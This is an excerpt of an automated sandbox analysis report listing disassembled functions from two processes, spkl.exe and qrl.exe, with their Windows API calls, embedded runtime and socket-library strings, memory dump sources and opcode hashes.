ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction ID: 07a1f38d2ea3c9b044fb4c0f13277ba6404eb61e471d4d96d04e3d4d2f3c9cdd
Opcode Fuzzy Hash: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction Fuzzy Hash: 6D315EB0A002609BDF21AF29848935636A4BB05324F17557BE90AF73C6D77CDCA4CB5E

Function 00406A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction ID: 13bf23e1329b6ed62b51f5b22f85bd001d496eff14c6d4ab5e25a17571e484f8
Opcode Fuzzy Hash: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction Fuzzy Hash: C1314FB0A002209BDF21AF29848935636A4BB05314F17557BE90AF72C6D77CDCA4CB5E

Function 033F05C8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 033F0652

Part of subcall function 033F0A84: GetVersionExA.KERNEL32(?,?,00000000,?,033F0615), ref: 033F0ADB

GetVersionExA.KERNEL32(0000009C), ref: 033F0621

Strings

WINNT, xrefs: 033F06E3
System\CurrentControlSet\Control\ProductOptions, xrefs: 033F06D4
ProductType, xrefs: 033F06CF

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: Version
String ID: ProductType$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-3392522142
Opcode ID: 9d36f7637078c6bffed3ccaba0515e189f2c73a37b3d69293297dd170c7c20b8
Instruction ID: 2e1a795db27e502d2e5ac3577c1e6138bd8b5b37215199f7a50c5e45e4ec5092
Opcode Fuzzy Hash: 9d36f7637078c6bffed3ccaba0515e189f2c73a37b3d69293297dd170c7c20b8
Instruction Fuzzy Hash: A611A338A483889EEB19D67C8DD1B9EB7E8DB46204FD440EAE645D6583D63489488B11

Function 033CA1B4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 033CA1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 033CA1F5
GetModuleFileNameA.KERNEL32(034084D4,?,00000105,?,?,00000105), ref: 033CA210
LoadStringA.USER32(00000000,033C6500,?,00000100), ref: 033CA2A6

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 029572252b852fd2a5f44f4afe3fcfff6b63a14dc7bbf2c7e029a78051474404
Instruction ID: 5aed2476866054b2642fb5c64877b2189d94896610be1436e12323ad3da2949e
Opcode Fuzzy Hash: 029572252b852fd2a5f44f4afe3fcfff6b63a14dc7bbf2c7e029a78051474404
Instruction Fuzzy Hash: 8641FB75A103AC9BDB61DB68CDC4BDAB7BCAB18200F0440E9A948EB251D7759F848F50

Function 033CA1B2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 033CA1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 033CA1F5
GetModuleFileNameA.KERNEL32(034084D4,?,00000105,?,?,00000105), ref: 033CA210
LoadStringA.USER32(00000000,033C6500,?,00000100), ref: 033CA2A6

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 822cc28032adb44e3283314b5fed9f7708e5cfbb9e0a94db9ae6976ae9ca0960
Instruction ID: c65f925bf6dbfba5232b81bb4c87ff9fb99d95559ae3964bc8a3e0e96610a575
Opcode Fuzzy Hash: 822cc28032adb44e3283314b5fed9f7708e5cfbb9e0a94db9ae6976ae9ca0960
Instruction Fuzzy Hash: 30411C75A103AC9BDB61EB68CDC4BDAB7FCAB18200F0440E9A948EB251D7759F84CF51

Function 0040A498 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040A4A9
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040A50B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040A568
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040A59B

Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040A519), ref: 0040A46B
Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040A519), ref: 0040A488

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction ID: fc7280abbee8b3a4e0e2c491acc4ca4769cbef175c5e1049a2e5b08ff8261c60
Opcode Fuzzy Hash: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction Fuzzy Hash: B4319230A0021AABCF00EFA9CC94AAEB3B5FF04304F00417AE515F72D2D7789A44CB55

Function 033CCF80 Relevance: 6.1, APIs: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?), ref: 033CCFA6
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 033CCFD4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000003,?,?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019), ref: 033CD004
RegCloseKey.ADVAPI32(?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 033CD010

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction ID: 3645a6db4bd87d2734cf1830afbdab2f39eadad5e5b868eb4c6703f7d6681c2d
Opcode Fuzzy Hash: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction Fuzzy Hash: 49119E76E10258BBDB10DAA9CC84EEEB7BCAB05250F044566F914EB240E774AE448B90

Function 033C9ED8 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,033C9F6F,?,?,00000000), ref: 033C9EF0
GetThreadLocale.KERNEL32(00000000,00000004,00000000,033C9F6F,?,?,00000000), ref: 033C9F20
GetThreadLocale.KERNEL32(00000000,00000003,Function_00008E24,00000000,00000000,00000004,00000000,033C9F6F,?,?,00000000), ref: 033C9F49
EnumCalendarInfoA.KERNEL32(Function_00008E60,00000000,00000000,00000003), ref: 033C9F54

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: LocaleThread$CalendarEnumInfo
String ID:
API String ID: 1139405593-0
Opcode ID: bb1ebafddd03dcec981c34e5bbaa3d245a9471d0188903c205c4fc59198aa102
Instruction ID: 990c1dd126d03c508bede6104c0bc8efcde91c4f7f3dc280b7e55ada8afb76a8
Opcode Fuzzy Hash: bb1ebafddd03dcec981c34e5bbaa3d245a9471d0188903c205c4fc59198aa102
Instruction Fuzzy Hash: D901F779A34BC86EE701F6748C82F5E735CDB46711F124268F5109E6C1D7399D0087A4

Function 033C89A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,033C8A7E), ref: 033C8A26
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,033C8A7E), ref: 033C8A2C

Strings

yyyy, xrefs: 033C8A01

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: d803b5d94cc42ae202adae63f2fa007a64a105ee4d9446943dc53ee94594996b
Instruction ID: 5ce47aa0804ad7eac628b370445af7aabd9f75b4b2500be29aeee1830bbb6807
Opcode Fuzzy Hash: d803b5d94cc42ae202adae63f2fa007a64a105ee4d9446943dc53ee94594996b
Instruction Fuzzy Hash: 5721607DA20298AFDB04EB64C8C1AAEB3B8EF08710F5044A9E905DB751DA349F04CB65

Function 033F0A84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000000,?,033F0615), ref: 033F0ADB

Strings

CSDVersion, xrefs: 033F0AEC
\SYSTEM\CurrentControlSet\Control\Windows\, xrefs: 033F0AF1

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: Version
String ID: CSDVersion$\SYSTEM\CurrentControlSet\Control\Windows\
API String ID: 1889659487-4130263263
Opcode ID: 443bdd7e442bf0a312ac4ded2d92debfa47e78c12b66b2e9a4e5c979a76304a9
Instruction ID: 42f10b30a4a7ce408bec171c62387df4599d83b068825e8cc57b6acc4db7414a
Opcode Fuzzy Hash: 443bdd7e442bf0a312ac4ded2d92debfa47e78c12b66b2e9a4e5c979a76304a9
Instruction Fuzzy Hash: D311C278F143488FEB19DB789CD0B5AB7A8E705308FC040B9D6089A283DB389D44CB14

Function 033C2B68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 033C2BD3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 033C2B80
FPUMaskValue, xrefs: 033C2BB4

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: Close
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3535843008-4173385793
Opcode ID: 4c61ce5ad82ea34b3e7dc660ba35c0fd716bfa713cac4fc8254313d3e4ed7dbb
Instruction ID: e3aa91df8d37a3a9c27eaaf24457b8007b196d4d85b9f0cd17f6d9d8d0c80dc3
Opcode Fuzzy Hash: 4c61ce5ad82ea34b3e7dc660ba35c0fd716bfa713cac4fc8254313d3e4ed7dbb
Instruction Fuzzy Hash: 0101B579A50348BDEB11EF90CD82BEE73ACEB04704F100569F911E6581E7795D10D754

Analysis Process: qrl.exePID: 6784, Parent PID: 5904COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18%
Total number of Nodes:	873
Total number of Limit Nodes:	72

Executed Functions

Function 00D252B0 Relevance: 68.9, APIs: 22, Strings: 17, Instructions: 616
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D25C20: memcpy.MSVCRT(?,?,00000080), ref: 00D25C88

setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 00D25377
setsockopt.WS2_32(?,0000FFFF,00000008,00000001,00000004), ref: 00D255D2
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00D25646
WSAGetLastError.WS2_32 ref: 00D25654

Strings

if!, xrefs: 00D25505
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00D25423
Could not set TCP_NODELAY: %s, xrefs: 00D25593
Local port: %hu, xrefs: 00D2595C
TCP_NODELAY set, xrefs: 00D25385
Couldn't bind to interface '%s', xrefs: 00D256D4
Failed to set SO_KEEPALIVE on fd %d, xrefs: 00D25670
Immediate connect fail for %s: %s, xrefs: 00D25A5C
getsockname() failed with errno %d: %s, xrefs: 00D259C7
Couldn't bind to '%s', xrefs: 00D2584A
Name '%s' family %i resolved to '%s' family %i, xrefs: 00D257D5
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 00D2565C
bind failed with errno %d: %s, xrefs: 00D25911
host!, xrefs: 00D25520
Trying %s..., xrefs: 00D2531D
Bind to local port %hu failed, trying next, xrefs: 00D258B5
Local Interface %s is ip %s using address family %i, xrefs: 00D25711

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: setsockopt$ErrorIoctlLastmemcpy
String ID: Trying %s...$Bind to local port %hu failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$TCP_NODELAY set$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 1062783977-1182436171
Opcode ID: bf8f7638dc47e5cc764ea95f9ddf2f8e04336388dc5f39411c28ba030a9c4bb2
Instruction ID: 0db77a2f971d346a04e16a018ea75899eb30cdf686f294f1ffbd5cb6f56cd421
Opcode Fuzzy Hash: bf8f7638dc47e5cc764ea95f9ddf2f8e04336388dc5f39411c28ba030a9c4bb2
Instruction Fuzzy Hash: 55229F71904310ABD7209B14FC46FABB7E9EFA4718F180929F88997255E772E904CB73

Function 00D248F0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

After %ldms connect time, move on!, xrefs: 00D24A62
Connection failed, xrefs: 00D24B5A
Failed to connect to %s port %ld: %s, xrefs: 00D24FBA
connect to %s port %ld failed: %s, xrefs: 00D24CCB
Connection time-out, xrefs: 00D249BE

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-885759404
Opcode ID: 752d44c96af48e10630836e49098001dca98a4594ee81bfc2822f1572d8484f9
Instruction ID: 2c76aecd61646913309f67f634e6f9a07e6480bfc3baaf203a49c520b5e6421d
Opcode Fuzzy Hash: 752d44c96af48e10630836e49098001dca98a4594ee81bfc2822f1572d8484f9
Instruction Fuzzy Hash: DC02E171A043249FD721DF24E840BAAB7E4BFA4318F190628EDA9572A1D731EC45CF72

Function 00D1119B Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 140
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00D11223
__p__acmdln.MSVCRT ref: 00D1124C
malloc.MSVCRT ref: 00D112E2
strlen.MSVCRT ref: 00D1131B
malloc.MSVCRT ref: 00D11326
memcpy.MSVCRT ref: 00D1133C
_cexit.MSVCRT ref: 00D113A8
_amsg_exit.MSVCRT ref: 00D113EA
_initterm.MSVCRT ref: 00D1140C

Strings

4i(, xrefs: 00D11217
!c(, xrefs: 00D1135A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID: !c($4i(
API String ID: 738594520-4171087233
Opcode ID: a6760775fd3083126dbc3c79167bcae5a222d8dca53ded55a757a896205a00d6
Instruction ID: c81507541ea0b37bf23566cc388f1fe26d5754a3182c9ac488168b5ec264b713
Opcode Fuzzy Hash: a6760775fd3083126dbc3c79167bcae5a222d8dca53ded55a757a896205a00d6
Instruction Fuzzy Hash: FF512E74A04341AFEB20EFA8E58579DB7F0FB44304F15452EE6C887215DBB99884DBA2

Function 00D2B510 Relevance: 15.3, APIs: 10, Instructions: 287
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 00D2B553
WSASetLastError.WS2_32(00002726), ref: 00D2B618
select.WS2_32(?,00000000,00000000,?,?), ref: 00D2B761
WSAGetLastError.WS2_32 ref: 00D2B76C

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLast$Sleepselect
String ID:
API String ID: 2806104629-0
Opcode ID: 2fb89949898f0338c05b3128391dcd47f3b7242bb5dd5cc3d2cb636b60e2c6fa
Instruction ID: 2218310173209cc478b4f993897c603aa9922b17237cd683ef3dc1ef6bf7d9ef
Opcode Fuzzy Hash: 2fb89949898f0338c05b3128391dcd47f3b7242bb5dd5cc3d2cb636b60e2c6fa
Instruction Fuzzy Hash: 7891FA716043158BD734DE28A8847ABB3D9EFD4338F184E2EE599C7190E7B0DD4487A2

Function 00D2B890 Relevance: 12.4, APIs: 8, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 00D2B8DD

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e42c62a6f8304ca4cc71aed078aa76994f0d5e047ad22e7cefcc71c7f9df7698
Instruction ID: 3c5e8ab591df958d52b4a86c3911bdc5def35c47f597f3c18021ed6471bbfbb0
Opcode Fuzzy Hash: e42c62a6f8304ca4cc71aed078aa76994f0d5e047ad22e7cefcc71c7f9df7698
Instruction Fuzzy Hash: 21C1C4706083658BD724DF28E4807ABB7E5EFE4328F18892EE4D987250D7B4DD44CB62

Function 00D12850 Relevance: 87.9, APIs: 70, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00D1287C
free.MSVCRT ref: 00D1288E
free.MSVCRT ref: 00D128A0
free.MSVCRT ref: 00D128B2
free.MSVCRT ref: 00D128C4
free.MSVCRT ref: 00D128D6
free.MSVCRT ref: 00D128E8
free.MSVCRT ref: 00D128FA
free.MSVCRT ref: 00D1290F
free.MSVCRT ref: 00D12927
free.MSVCRT ref: 00D1293F
free.MSVCRT ref: 00D12957
free.MSVCRT ref: 00D1296F
free.MSVCRT ref: 00D12987
free.MSVCRT ref: 00D1299F
free.MSVCRT ref: 00D129B7
free.MSVCRT ref: 00D129CF
free.MSVCRT ref: 00D129E7
free.MSVCRT ref: 00D129FF
free.MSVCRT ref: 00D12A17
free.MSVCRT ref: 00D12A2F
free.MSVCRT ref: 00D12A47
free.MSVCRT ref: 00D12A5F
free.MSVCRT ref: 00D12A77
free.MSVCRT ref: 00D12A8F
free.MSVCRT ref: 00D12AA7
free.MSVCRT ref: 00D12ABF
free.MSVCRT ref: 00D12AE5
free.MSVCRT ref: 00D12AFD
free.MSVCRT ref: 00D12B26
free.MSVCRT ref: 00D12B38
free.MSVCRT ref: 00D12B4A
free.MSVCRT ref: 00D12B53
free.MSVCRT ref: 00D12B82
free.MSVCRT ref: 00D12B9A
free.MSVCRT ref: 00D12BB2
free.MSVCRT ref: 00D12BCA
free.MSVCRT ref: 00D12BE2
free.MSVCRT ref: 00D12BFA
free.MSVCRT ref: 00D12C12
free.MSVCRT ref: 00D12C2A
free.MSVCRT ref: 00D12C42
free.MSVCRT ref: 00D12C5A
free.MSVCRT ref: 00D12C72
free.MSVCRT ref: 00D12C8A
free.MSVCRT ref: 00D12CA2
free.MSVCRT ref: 00D12CBA
free.MSVCRT ref: 00D12CD2
free.MSVCRT ref: 00D12CEA
free.MSVCRT ref: 00D12D02
free.MSVCRT ref: 00D12D1A
free.MSVCRT ref: 00D12D32
free.MSVCRT ref: 00D12D4A
free.MSVCRT ref: 00D12D62
free.MSVCRT ref: 00D12D7A
free.MSVCRT ref: 00D12D92
free.MSVCRT ref: 00D12DAA
free.MSVCRT ref: 00D12DC2
free.MSVCRT ref: 00D12DDA
free.MSVCRT ref: 00D12DF2
free.MSVCRT ref: 00D12E0A
free.MSVCRT ref: 00D12E22
free.MSVCRT ref: 00D12E3A
free.MSVCRT ref: 00D12E4F
free.MSVCRT ref: 00D12EFB
free.MSVCRT ref: 00D12F13
free.MSVCRT ref: 00D12F2B
free.MSVCRT ref: 00D12F43
free.MSVCRT ref: 00D12F5B
